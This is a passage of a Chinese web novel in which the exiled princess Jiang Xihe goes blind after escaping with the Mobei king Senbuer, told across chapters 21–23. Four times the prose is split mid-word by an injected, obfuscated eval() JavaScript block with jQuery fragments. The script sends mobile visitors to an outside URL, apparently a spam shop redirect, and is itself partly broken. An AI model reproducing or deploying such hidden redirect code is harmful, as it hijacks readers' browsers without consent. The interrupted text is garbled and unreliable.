烈酒浸透伤口的瞬间,像是有无数根针在扎,森布尔仰起头,从齿缝里泄出声音。
浓烈的酒气和血腥味儿窜进鼻腔,江熹禾皱了皱眉,缓缓睁开了眼睛。
“咳……”她轻咳一声,只觉得眼前一片昏花,抬手用力揉了揉眼睛。
森布尔听见动静,连忙丢下酒囊,凑了过来。
“怜儿,你醒了?感觉如何?身上有哪里不舒服吗?”
江熹禾揉着揉着,眼泪又淌了满面。
森
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763029|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
布尔看得心疼,忍不住按住她的手,“别哭了,我会带你回家的。”
江熹禾用力眨了眨眼睛,隔着朦胧水光,终于看清了森布尔身上的伤痕。
“王,对不起……”
森布尔捧着她的脑袋,用力亲吻她的额头,“不要道歉,你没有对不起任何人。”
为了分散她的注意力,森布尔把药瓶塞到她手里,“怜儿,帮我上药好吗?”
江熹禾捏着手里的药瓶,眨落长睫上的眼泪,哽咽着点了点头。
她的手指很凉,动作缓慢而轻柔,上完药粉,森布尔又从包裹里取出纱布,在她的帮助下把身上的伤口都包扎得严严实实。
收拾完一切,森布尔重重松了口气,揽住江熹禾又亲了一口,“你做得很好。”
他低头亲吻她滚烫的眼皮,故作轻松地开着玩笑:“别再哭了,你的眼泪都快把我溺死了,把眼睛哭瞎了怎么办?”
江熹禾愣了会儿,突然想起什么,推了推他的胸口,“王,有纸笔吗?”
森布尔对着外头吩咐了一声,没过一会儿,青格勒就拿着牛皮纸和笔跑了进来。
江熹禾在把牛皮纸放在面前的石头上展开,缓慢而又慎重地落笔。
蜿蜒的墨迹在纸上绘成了一副简易的地图,她用笔沾了朱砂,在地图上标注出了一条长长的路线。
“沿着这条路走,可以绕开城中的守卫。顺利的话,不出七日,便可抵达漠北边境。”
森布尔吹干墨迹,把地图递给青格勒,“吩咐下去,让兄弟们抓紧时间休整,补充水源和干粮,一个时辰后准时拔营,按照这条路线行进,务必加快速度,在天黑前走出这片山林!”
“是!”青格勒端端正正行了个礼,连忙捧着地图跑了出去。
一切似乎都在往有利于他们的方向发展,森布尔总算可以略微松懈片刻,仰头躺在了江熹禾身边。
江熹禾只要睁开眼,眼泪就会不停地往下流,怎么也止不住。所以她只好侧身埋进森布尔怀里,闭眼假寐。
森布尔揽着她的背,轻轻拍了拍,轻声道:“睡会儿吧,我在呢。”
.
天空像是破了口子,墨色的云层沉甸甸地压在头顶。狂风卷着树叶呼啸,密集的大雨在林间织成一张天罗地网。
铁骑们的战甲早已被雨水浸透,沉重地贴在身上,马蹄踏过山间泥泞,稍不留神就会打滑。
森布尔把江熹禾藏在怀里,用自己的披风裹住她的身子,尽量挡住倾泻而下的雨水。
可雨实在太大了,披风很快就吸满了水,冰凉的湿气透过布料渗进去,直往江熹禾的身体里钻。
她这几天本就粒米未进,整个人昏昏沉沉,虚弱不堪,此刻被雨水一淋,身体更是控制不住地发起抖来,连呼吸都变得清浅而急促。
“怜儿?怜儿?”
森布尔叫了几声没听到回应,腾出手摸了摸她的额头,只觉得手心里一片滚烫。
雨实在太大了,再这么跑下去,别说虚弱的江熹禾撑不住,就连身强体壮的骑兵都要吃不消了。
看着眼前模糊的山林,森布尔即刻下令:“前方扎营休整,先照顾好伤员和战马,雨停之后再继续赶路!”
众人聚集在一处披风的山壁下躲雨,铁骑肩并着肩聚起人墙,用身躯为森布尔和江熹禾挡住山间的疾风暴雨。
江熹禾烧得昏沉,手脚瘫软着,任森布尔怎么呼唤都没有反应。
现在兵荒马乱,还下着大雨,连块干净的布条都难找,更别说对症的退热草药。这么耗下去,她根本撑不到铁骑翻过山岭回到漠北!
21. 异族人
“噢哟,这雨下的,没完没了了,跟天漏了个窟窿似的。”
冷清的街道上根本没几个行人,药铺的掌柜站在门口看了一眼,转身拿起木板,准备今天早点打烊。
就在最后一块儿门板即将扣上门框之时,突然从外头伸出一只湿淋淋的手,拦住了他的动作。
“还好还好,总算是赶上了,”青格勒扒着门板,冲他露出一口白牙,客气道,“掌柜的,我来买些外伤用的止血药,还有退热驱寒的草药。”
掌柜的狐疑地打量他一眼,谨慎地问道:“你这是给谁买药?家里人生病了?”
“可不是嘛!”
青格勒不由分说地挤进铺子里,甩了甩身上的水珠。
“我姐姐早上上山摘野菜,没成想遇上这鬼天气,淋了一身雨不说,还在坡上摔了一跤,这会儿在家烧得迷迷糊糊的,我姐夫急得直跺脚,这不赶紧让我来买救命的药呢!”
掌柜的又深深看了他一眼,见这半大小子一脸真诚,不似说谎,这才走到药柜前,开始给他抓药。
“止血的用三七和蒲黄,退热的给你配些柴胡、葛根,再加点生姜片,回去煮水喝,发发汗就好了。”
掌柜的刚转过身去,青格勒就收起了脸上的笑容,他飞快地扫了一眼屋内,确认铺子里没有其他人,随后警惕地退到了门边,隔着外袍捏紧了腰间佩刀。
这样既能盯着掌柜的动作,又能随时留意街上的动静,万一有东靖的追兵路过,也能第一时间反应过来。
“好了,药都在这儿了。”
等了一会儿,掌柜的直起身,手里拎着两个油纸包,“褐色纸包是止血的,白色的是退热的,一日三副,煎水送服,喝完让你姐姐发发汗,烧能退得快些。”
“多谢掌柜的。”
青格勒从怀里摸出一串铜板放在柜台上,拎起药包就要走。
“哎!你等等!”
那掌柜的拿起铜钱,突然发现上面竟然还沾着新鲜的血迹。他大惊失色,下意识就伸手要去拦青格勒,“你这钱上怎么有血?你是……”
异族人。
最后三个字还没来得及说出口,青格勒就一个利落的回身,抽出弯刀,用刀柄敲晕了他。
青格勒不敢多留,迅速用外衣裹好药包,转身一头扎进了雨幕。
他的身影刚掠过街角,另一道撑着油纸伞的人影就从街对面的巷口走了过来。
辛夷背着药篓,站在药铺门口甩了甩伞上的水珠,对铺子里面招呼道:“掌柜的,我师傅让我来取上次订的甘草和当归,您准备好了吗?”
她收好油纸伞靠在墙边,没听到屋里人的回应,又探头进门喊了声:“掌柜的?您在里面吗?”
屋里光线昏暗,柜台后面似乎露出了一只什么人的胳膊。
辛夷心头一紧,立刻抽出背上的弩箭,轻手轻脚地走了进去。
绕过柜台,她才发现地上躺着的人竟然就是药铺掌柜,她连忙把人扶起,使劲掐住他的人中,才把人唤醒。
“掌柜的,发生什么事儿了?”
“是漠北来的异族人……”掌柜的脑袋还不大清楚,勉强抬起手指了指门外,“往那边跑了……”
辛夷心头一紧,连忙丢下药篓,提着弩箭追了出去。
密集的雨幕中,两道飞速疾奔的身影在街道上追逐。
辛夷凭着对地形的了解,抄了一条更窄的近道,转过两个拐角后,很快就看见了前方那异族人的身影。
听见身后越来越近的脚步声,青格勒心都提到了嗓子眼,拼了命地朝前跑着。他的战马就拴在山脚下,只要骑上马回到林子里,很快就能甩开这烦人的东靖追兵。
“站住!”
辛夷冲他的背影喊了一声,举起弩箭,瞄准他的后背射了一箭。
可雨太大了,视线被水汽模糊,加上两人距离还远,箭刚射出去就偏了方向,射进雨幕中不见了。
青格勒不敢回头,一口气跑到山脚下,飞快解开战马的缰绳,翻身上马。
眼看那人就要逃走,辛夷情急之下又喊了一声:“漠北人!你给我站住!”
这道声音终于唤醒了青格勒的回忆,他在马上回过头,直直撞向辛夷的视线。
“青格勒?”
“辛夷?”
两人同时愣住,又同时反应过来。
没想到冤家路窄,竟然在这儿碰见了熟悉的死敌。
雨水顺着他们的脸颊往下淌,却浇不灭彼此眼中彻骨的恨意。
辛夷盯着他,冷笑着嘲讽道:“怎么?之前不是还说要杀了我吗?现在遇见了,你又跑什么?”
日积月累的恨意早已在心中发酵成毒,眼下正是报仇的绝佳时机!
青格勒紧紧咬着牙,手指缓缓在刀柄上握拢。
辛夷浑身紧绷,已经做好了应战的准备,但马上的人却猛地勒紧缰绳,转头冲进了林子里。
“站住!”
辛夷不甘心地追了几步,又举起弩箭连射了好几箭,却还是只能眼睁睁看着那人消失在雨幕中。
瓢泼大雨冲刷着青格勒的脸,冰冷的雨水压下了他心头铺天盖地的怒火,他沉下腰贴近马背,催促战马加快速度。
江熹禾那边耽误不得,他不能在这儿跟辛夷浪费时间。
下次……
他咬着牙在心里默念。
辛夷,你等着……若是下次还能遇见,我必会取你首级!
.
森布尔用指腹顶开江熹禾的齿关,托着她的脑袋,一点一点把药灌了进去。
这场高烧来势汹汹,像是要一把火烧干她这幅残破的身子。
森布尔脱下她的外衣,把人扶到了怀里趴着,脑袋轻轻靠在他的颈窝。
他每隔一会儿就用沾了水的帕子轻柔擦拭她的后背。
大雨一直没停,还在哗啦啦下着。铁骑队伍只能被迫找了个山洞扎营休整。
好在雨势这么大,虽然他们没法赶路,但东靖的兵马也同样追不上来。
时间像是在大雨中凝滞了,天色从阴沉的灰,慢慢沉成浓到化不开的黑,也不知道究竟过了多久。
“咳咳……咳……”
江熹禾突然被咳嗽呛醒,她蜷缩着身子,眉头紧紧蹙着,像是在忍受极大的不适。
森布尔扶起她的脑袋,又给她喂了一碗清水。
感觉喉咙好受了些,江熹禾这才缓缓掀开眼皮,眨了眨眼。
“天黑了?”她哑声问。
“对啊,你已经睡了大半天了,”森布尔伸手捋了捋她湿润的碎发,柔声道,“现在还难受得紧吗?要不要再喝点水?”
江熹禾又眨了眨眼,忽然察觉不对。
她能听见身旁篝火的噼啪声,况且就算是天黑了,森布尔就在她眼前,离得这么近,没道理她什么也看不见。
一个不好的念头在心头浮现,她张了张嘴,颤声确认了一遍:“王,您看得见我吗?”
森布尔意识到什么,张开五指在她眼前晃了晃。
江熹禾眼神涣散,视
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774932|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
线没有丝毫移动,对他的试探毫无反应。
森布尔喉咙发紧,突然说不出话来。如果可以,他真想回到几天前,收回那句“把眼睛哭瞎”的玩笑话。
江熹禾从他的沉默里也意识到了什么,但她比森布尔平静得多,没有哭闹,也没有慌乱,只是缓缓抬起手,摸索着森布尔的脸。
从他的额头,到他的眉骨,再到他紧绷的下颌,每一寸都摸得格外认真,像是要把他的模样,牢牢刻进心里。
“没关系。”她不知是在对谁说。
“没关系……”
森布尔捂住她的头,用胡茬丛生的下颌蹭了蹭她的发顶。
“你只是这几天哭太多了,伤了眼睛。等回了漠北,我会找最好的大夫来替你诊治,一定可以治好的,你要相信我,好不好?”
他的声音控制不住地颤抖,带着连他自己都没有意识到的恐惧。
江熹禾却只是轻轻笑了笑,重新靠回他的胸前,“我相信你,我一直都……相信你。”
森布尔仰起头,喉结上下滚动,硬生生逼回眼泪。
江熹禾闭上眼睛,面上没有一丝波澜。
她连死都不怕,还怕什么失明呢?横竖都是上天对她的惩罚,若是这样就能赎清罪孽的话,她也可以心甘情愿地接受。
众人在山洞里依偎在一起,抱团取暖,终于熬到了大雨停歇。
重新上路之前,森布尔叫醒江熹禾,再次确认了一遍。
她还是看不见。
喂完最后一碗药,森布尔猛地摔碎了陶碗。
他必须尽快带她回到漠北,就是天上下刀子也拦不住他!
.
东靖皇宫。
御书房。
鎏金铜灯悬在梁上,暖黄的光映着满桌的奏折。
江钰轩沉着脸翻看手上的密报,阶下跪着宫里的禁军统领。
“启禀太子殿下,昨日傍晚,在桐余县一间药铺里,发现了疑似漠北骑兵的踪迹!”
江钰轩抬起眼,问:“药铺?”
“是!”禁军统领应声,继续道,“那人击晕了药铺掌柜,并带走了几副伤药和退热驱寒的草药。”
伤药不必多说,定是给森布尔治身上鞭伤的。
那退热药……
江钰轩用力按住眉心,满嘴苦涩:“怜儿……你让兄长拿你……如何是好?”
他丢下手上的奏折,忽然又问:“父皇的丧事,礼部那边筹备得如何了?”
“回殿下,礼部已敲定所有流程,明日便可完成入殓仪式,后续祭奠事宜也已安排妥当。”
统领飞快地抬头看了他一眼,又迅速低下头,补充道:“殿下的登基大典已在加急筹备,钦天监选定了七日后的吉时。”
“嗯……”
江钰轩沉吟了一会儿,终是无奈地摆了摆手,“森布尔既已逃到桐余县,山林崎岖,追兵难寻,再追下去也是徒耗人力,罢了……随他们去吧。”
此次设下天罗地网,万般筹谋最终却还是功亏一篑。森布尔这条命,只能暂且先留着,等他稳住江山,日后有的是机会跟漠北清算!
“传令下去,撤回调往桐余县的追兵,全力守卫都城及边境关卡。”
他站起身,背着手走到窗边,望着远处宫墙的轮廓。
“至于登基大典,按原计划进行,不容有失。”
“是!属下遵令!”统领叩首起身,转身轻步退出御书房。
江钰轩回想起妹妹的脸,无奈地长叹口气,摇了摇头。
22. 我们回家
森布尔带着铁骑一口气冲破边境线,放眼望去,旷野上早已成了一片战场。
东靖早有防备,提前在边关囤积了大量兵马。趁着漠北铁骑退回二十里之外时,趁机抢占了有利地形。
铁骑那边收到了森布尔遇袭的消息,塔林带着骑兵匆匆赶赴边关,想为森布尔争取时间,但却恰好落入东靖人的圈套。
没有森布尔的指挥,漠北骑兵群龙无首,这几日跟东靖人陷入苦战,甚至还隐隐有了被稳压一头的趋势。
虽然靠着后方囤积的粮草,还能勉强跟他们继续拖着,但是像现在这样耗下去,战败也是迟早的事儿。
军营里横七竖八到处都是伤员,塔林眉头紧锁靠在围栏边,对眼前的僵局一筹莫展。
就在这时,远处的山林里突然传来一阵急促的马蹄声。
青格勒看见营地里熟悉的旗帜,激动地吹了个响亮的口哨。
瞭望台上的巡逻兵看见了他们的踪迹,朝着营地大喊道:“快看!是大王他们回来了!”
塔林精神一振,连忙三两步跨上高台,看到那支骑兵为首之人果然是森布尔,他简直快要热泪盈眶。
“大王……真的是大王回来了!”
营地里爆发出阵阵欢呼,一改先前的压抑气氛。
森布尔骑着马直接冲进营地,在塔林面前勒住缰绳,沉声道:“东靖人早有防备,此战对我们不利,传令下去,带着所有人,即刻撤回草原!”
塔林闻言一愣,原本还以为森布尔回来了,终于可以带着他们杀回去,好好出口恶气,可没想到他一回来,说的第一句话竟然是撤军,这让他实在难以接受。
“大王!”他单膝跪地,抱拳沉声道,“东靖皇帝已死,此刻正是他们朝堂动荡,青黄不接之时,您既然平安归来,为何不率领我们趁机反攻?正好一口气攻破他们的边境城墙,踏碎他们的脑袋!”
森布尔抱着怀里的人,抬腿下马,站在塔林面前,环视了一周营地。
“青黄不接?你可知东靖人早就在城内安排了足够的人马,连陷阱都挖好了,就等着你们冲进去送死!你们已经在这里血战数日,连这么明显的诱敌之计都看不出来吗!”
“可是……”
“没有可是!”
塔林抬起头,还想反驳,却被森布尔直接打断。
“老皇帝死了,但是他们的新皇帝却比老狐狸还难缠。此时最好的决策就是退回草原深处,休养生息,避其锋芒,绝不可再贸然进攻!”
这一路上森布尔都在仔细回想,恐怕早在姚学真第一次来漠北和谈时,江钰轩就已经开始着手布局这一切。
那小子年纪轻轻,却老谋深算,把他的每一步行动都算计得清清楚楚。
从诱他进城,到在边境设伏,再到利用老皇帝驾崩的时机,勾引漠北军队反攻,每一步都埋着陷阱,每一个环节都环环相扣。
如果不是江熹禾拿着御赐玉符冒险救出他,恐怕他早已成了东靖的阶下囚,漠北铁骑也会落得全军覆没的下场。
森布尔一路走来,把江钰轩的种种计谋和安排都看在眼里。
此子的确有着经天纬地的本事,若不是其中出了江熹禾这个变数,还真差点让森布尔阴沟里翻船。
“迟则生变,别耽搁了,全军听令,即刻随我撤退!不得有误!”
“是!”
军令如山,即便有人心有不甘,却还是不敢有半分迟疑。
与此同时,东靖边城的城墙上,气氛却已是沸腾到了极点。
城墙上站着一排排守备军,看着城外如黑潮般撤退的铁骑大军,纷纷激动大喊:“漠北人撤军了!我们打赢了!哈哈哈哈……”
众人声嘶力竭地大喊,激动无比地抱头痛哭。
这么多年来,东靖军队在边境上屡屡被漠北铁骑压制,还是头一回把漠北人打得落荒而逃,总算也扬眉吐气了一回。
森布尔骑着马为大军断后,在离开之前还深深看了一眼东靖边关的城楼。
“江钰轩……此仇不报非君子,我森布尔还会杀回来的,咱们走着瞧!”
江熹禾静静靠在他怀里,无神的眼睛里看不出情绪起伏。
她这两天情况时好时坏,高烧也是反反复复。眼睛看不见之后,她除了更加依赖森布尔之外,还变得愈发沉默寡言,整日发呆,也不知在想些什么。
森布尔在她头顶上落下一吻,甩开缰绳,朝着草原深处奔去。
“怜儿,我们回家。”
.
桃枝听说了大军即将回营的消息,一早便跟着牧民们在部落门前等待。
闷雷般的马蹄声由远及近,黑压压的大军从天际线快速接近,转眼就到了部落门口。
人们高声欢呼:“漠北王回来了!漠北王带着铁骑回来了!”
桃枝费力地挤到人群前方,视线紧紧盯着那为首之人。
大军呼啸着涌进营地,森布尔翻身下马,随手甩开缰绳,掂了掂怀里的人,脚步飞快地往营帐跑。
“快去把部落里的大夫都叫来!快!”
桃枝唤了声“王妃”,一路小跑跟着森布尔回到营帐里。
森布尔把怀里的人小心翼翼放在床上,轻声道:“怜儿,我们已经到家了。”
江熹禾刚想开口回应,一张嘴就闷咳了几声,眼睛里始终像是蒙了一层水汽。
“王妃……”桃枝看着两人一身狼狈的样子,眼泪瞬间就下来了。
出门的时候还好好的,怎么回来就变成这样了?
江熹禾听见她的声音,循着声音转过头,视线却无法落在实处。
“桃枝……咳……是你吗?”
“是我,”桃枝立刻上前抓住她的手,盯着她的眼睛,心猛地一沉,“王妃,您的眼睛……”
江熹禾对她轻轻笑了笑,还没说话,森布尔就腾地站起身,对着帐子外大吼:“大夫呢!怎么还没过来!”
“来了!来了!”
数十个大夫背着药箱匆匆赶来,甚至连营地里的军医都一起跟了过来。
不算宽敞的帐子里瞬间涌进十几号人,陌生的脚步声和呼吸声混杂在一起,让江熹禾变得十分不安。
她伸出手,朝着前方摸索,颤声问:“王……您在哪儿?”
“我就在这儿,别怕。”
森布尔连忙接住她的手,把她紧紧搂进怀里,转头对着大夫们急声说道:“她前几日伤心过度,后来又淋了大雨,高热反反复复一直没退,眼睛还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789486|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看不见了,你们赶紧想想办法,一定要治好她!”
大夫们连忙围上前,七手八脚地开始检查江熹禾的情况。
江熹禾手指始终抓着森布尔的衣领,无论如何也不肯松手。
因为在一片无边无际的黑暗深渊里,只有森布尔的体温和气息能给她带来一丝安稳。
大夫们轮番上前诊脉,仔细查看她的眼底。可每一个人起身时,眉头都拧得更紧,沉默着退到一旁。
帐子里挤了太多人,江熹禾本就在病中,这会儿愈发呼吸困难,蜷着身体,闷咳声一阵紧过一阵。
“王妃……”桃枝蹲在床边,伸手轻轻拍着她的后背,试图帮她顺气。
片刻后,大夫们交换了个眼神,纷纷退出帐子,在外面的空地上低声商议起来。
森布尔想出去问问情况,可又怕自己一走,江熹禾会更加不安。
好在没过多久,帐帘被掀开,一名头发花白的老大夫走了进来。
他是漠北部落里最年长的医者,行医几十年,但此刻却满脸凝重,对着森布尔躬身行礼。
“启禀大王,王妃的身子本就虚弱,此前忧思过度,又着了风寒。我们商议后,只能先开些清热驱寒的草药,帮王妃先退了高热,缓解些痛苦。至于眼睛……”
老大夫顿了顿,腰弯得更低了些,“我等医术浅薄,实在无能为力,只能请大王另寻高明。”
桃枝听了,一把捂住嘴,狠狠咬住手指,才没让自己哭出声来。
江熹禾靠在床榻上,轻轻叹了口气。其实早在回漠北的路上,她就已经料到了这个结果。
漠北的大夫擅长治跌打损伤和风寒,却不精通眼疾这类精细病症。只是如今亲耳听到这个结果,心情难免还是有些沮丧。
“你们在外面商议半天,就商议出这么个结果?”森布尔勃然大怒,冲着外面大吼,“其他人呢?我漠北就找不出一个会治病的大夫了吗?!”
老大夫吓得连忙跪地,不敢多说一句话。
帐外的大夫们听见他的吼声,一个个垂手而立,无人敢应声。
“王……”江熹禾的声音轻轻响起。
她摸索着抚上森布尔的侧脸,“您别动怒,我的眼睛一时半会儿也急不来,还是先处理您身上的伤吧。”
连续奔波这么多天,森布尔身上的血就没停过。伤口在马背上的颠簸里反复开裂,鲜血浸透一层又一层的衣衫。远远望去,整个人就跟从血池里面刚捞出来似的。
若不是他从小天赋异禀,体格惊人,换了旁人,恐怕早就倒下了。
“是啊大王,”地上的老大夫连忙附和,“您身上的伤急需重新清理上药,再耽误下去,恐怕会留下病根啊。”
森布尔攥紧了拳头,看着江熹禾苍白的脸,看着她空洞的眼眸,心里满是愧疚和自责。
“怜儿……”他俯身抱住床上的人,喉头艰难滚动着,“我一定会治好你的,一定!”
江熹禾能清晰听见他急促的心跳,也能感受到他身体的颤抖。
她心里明明也是难过的,明明也怕往后就这样了,永远困在黑暗里。
但不知为何却流不出一滴眼泪,就好像她前半生的所有眼泪,都在离开东靖的那几天里流干了。
23. 不能没有你
大夫们商量不出结果,最后被森布尔大骂一通,全都赶走了。
帐子里终于安静下来。
桃枝烧了热水来,服侍江熹禾沐浴。
江熹禾蜷缩在浴桶里,简单跟她说了这几天在东靖发生的事情,只是隐去了自己曾试图挥刀自刎的事情。
桃枝听得心惊,平日里的伶牙俐齿这会儿也说不出什么安慰的话,只能咬着嘴唇默默垂泪。
“桃枝……”
江熹禾趴在桶沿,枕着自己的手臂,声音里是极度悲伤后的平静。
“我们……再也回不去东靖了。”
桃枝飞快抹了把眼泪,吸了吸鼻子说:“那就不回去了呗!反正这些年我们在漠北也住习惯了,这里除了冬天长一点,风大一点,其他也没什么不好的。何况现在大王对您这么上心,咱们就把这里当家也挺好的。”
江熹禾轻轻笑了笑,对着她的方向问:“可你还有家人在东靖,如果此生都不能再见到他们……你会不会怨我?”
“王妃,您说什么呢!”桃枝连忙蹲在浴桶边,急切道,“早在他们把我卖进宫里换钱的时候,就不是我爹娘了!桃枝这辈子只有您一个主子,在心里也早就把您当成唯一的……家人了。”
最后几个人她说得很轻,怕这话有些唐突,太过僭越。
但江熹禾听了之后只是笑了笑,循着声音摸了摸她的脸。
“好桃枝,其实我也早就把你当成我的妹妹了。”
她没说出口的是,还好之前挥刀自刎时被森布尔拦下了。
若是她没能回来,就这样死了,那桃枝往后岂不就是孤身一人留在这异国他乡,往后连个能为她撑腰的人都没有了?
两人说了会儿话,江熹禾精力不济,身上本就没什么力气。桃枝服侍她换上寝衣,擦干头发,扶着她躺回床上。
帐子里静悄悄的。
在一片密不透风的黑暗中,躺在熟悉的床上,江熹禾终于可以安心地闭上眼,久违地睡了个好觉。
不知睡了多久,江熹禾被帐子外的吵闹声惊醒。
森布尔的声音压抑着明显的怒气,好像在跟别人争论着什么。
江熹禾揉了揉眼睛,想看清帐内的景象,反应了一会儿才想起不是天黑了,而是自己的眼睛已经看不见了。
“王?”她撑着手臂从床上坐起,轻轻唤了一声,“森布尔……你在外面吗?”
帐子外的吵嚷声仍在持续,乱哄哄的一片,根本没人听见她的呼唤。
江熹禾有些不安,摸索着抓住床沿,想下床去看看情况。她的手朝着床头的案几伸去,本想扶住桌脚,指尖却冷不防碰到了一个滚烫的物件。
“!”
她吓了一跳,猛地收回被烫到的指尖。
瓷碗在桌上滚了几圈,“哐当”一声落在了地上,摔成了碎片。
“怜儿!”
“王妃!”
森布尔和桃枝接连冲了进来,一眼就看见了地上泼洒的热粥。
森布尔快步冲到床边,连忙捧着她的手仔细检查,发现那手背上已经被烫红了一大片。
江熹禾抓着森布尔的衣襟,低声道:“对不起……我刚刚叫你了,你没听见。”
“是我不好,都怪我。”森布尔亲吻着她的额头,连声道歉。
他满心懊恼,早知道她会这么快醒,说什么也不会离开帐子。不过是离开一会儿,竟然又让她受了伤。
桃枝拿来帕子帮她擦拭手指,然后又小心翼翼地涂了一层烫伤膏。
好在那碗粥已经晾了一会儿了,不算太烫,涂几天药膏应该就没事了。
“王妃,我再去重新给您盛一碗来。”
桃枝收拾完地上的狼藉就退了出去。
森布尔托着江熹禾的手,对着她的手背轻轻吹了吹,“痛不痛?”
江熹禾摇摇头,问:“王,刚才外面发生什么事儿了吗?我听见有争吵声。”
森布尔垂着眼睛,沉默了片刻,“无事,只是在商量一些军营里的琐事罢了。”
江熹禾把头靠在他手臂上,没有继续追问。
森布尔伸手摸了摸她的耳后,“好像没那么烫了,你感觉怎么样?”
“睡了一觉,好多了。”江熹禾浅笑道。
她看起来状态还不错,也没有因为眼睛看不见了就情绪崩溃,但她越是这样平静,森布尔心里就越是觉得忐忑不安。
她在皇宫门口挥刀自刎的那一幕时不时就在他眼前重现。当时她那么决绝,一个对活下去都没有任何眷恋的人,他该用什么办法,才能牢牢留住她?
“别担心,”他紧紧抱住怀里的人,在她耳边低语,“他们说,东靖有位隐居的神医,医术高超,能治百病。等你再养几天精神,我就带你去找他,到时候一定能治好你的眼睛。”
江熹禾有些吃惊。
他们千里跋涉,一路历经千辛万苦才从东靖逃出来,现在他竟然说要再带她回去?
难怪刚刚外面吵得那么厉害,族人们肯定无法理解,甚至觉得森布尔是疯了。
“王……您不必如此。”
如果为了给她治眼睛,森布尔又要冒着这么大的风险,甚至可能连累整个部落陷入险境,江熹禾无论如何也不能接受。
“看不见就看不见吧,反正我也没什么用处了。”
“不行!”
森布尔很是坚决,强行抬起她的下巴,让她那双无神的眼睛看着自己。
“难道你就不想再看看你的花园,不想再看看你亲手种出来的麦田,不想再……看看我吗?”
听出他声音里的颤抖,江熹禾长睫颤了颤,眼睛干涩得发烫。
“我……”
不想吗?
不,怎么会不想。
没有人会甘愿一辈子活在黑暗中,没有人在见过草原的星空,麦田的金黄,爱人的眉眼之后,还能心甘情愿地闭上眼睛。
可是……如果恢复光明需要付出这么大的代价,那她又该如何自洽?
江熹禾张了张嘴,想说些什么,却发现喉咙像是被堵住了,一个字也说不出来。
她心里在想什么森布尔怎会不懂,他大手拢着她的脑袋,一字一句缓声道:“别胡思乱想,你什么都不用管,只需要乖乖吃饭,喝药,养身体。相信我,把一切都交给我,会没事的。”
他拉住她的手,紧紧按在自己胸前的纱布上。
“江熹禾,如果你觉得对不起我,那就不要再想着自裁,否则……就算是追到九幽黄泉,我也会把你抢回来!”
他手上力气极大,江熹禾感受到纱布下又渗出了黏腻的鲜血,她蜷起手指,想要收回手,但却被森布尔紧紧捏着。
森布尔执拗地盯着她,像是非要等她说出一个承诺。
“王,别这样……”
江熹禾哀求着,手被他牢牢攥住,掌心下的鲜血越涌越多,温热的液体顺着指缝往下淌。
她挣脱不开,眼眶刺痛,快要被逼哭了。
森布尔终是不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795301|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忍心,骤然松开手,叹了口气重新抱住她,“对不起,别哭。”
江熹禾像是被打开了阀门,泪珠又断了线似的滴落下来。
“对不起……”森布尔轻轻拍着她的背,沙哑地安慰着,“我不该这样逼你,对不起……”
桃枝端着热腾腾的饭菜站在门口,听着里面传来江熹禾绝望的哭声,眼眶也不由自主地红了。
江熹禾的眼睛被泪水蛰得生疼,只能紧紧闭着眼,把头抵在森布尔胸口。
“别哭。”森布尔抬起她的下巴,轻轻亲吻她轻颤的眼皮,“我只是想让你知道,我真的不能没有你。”
江熹禾终于打破了表面的平静,把波涛汹涌的内心展露给了森布尔。
森布尔一直抱着她,轻声哄着,看到她终于把情绪发泄出来,他心里也总算是松了口气。
江熹禾哭了很久,哭到眼睛传来刺痛,她刚想去揉,却被森布尔拦住了手。
“别揉,我给你吹吹。”
他握着她的手腕,另一只手轻柔地撑开她的眼皮,小心翼翼地吹了吹气。
江熹禾情绪渐渐平复下来,整个人已经失了力气,软软地靠在森布尔怀里。
“再过几天,等你身子再好一点,我把部落里的事情安顿妥当,我们就一起上路,去东靖找那位神医。”
江熹禾嗓子也痛到说不出话,只能认命般地沉默着。
“怜儿,我一定会治好你,”森布尔斩钉截铁地说道,“我们还要在一起相守好多年,等你好了,我带你去草原踏风,去山里泡温泉。我们还要生好多好多的孩子,你教他们读书识字,我带他们骑马射箭。”
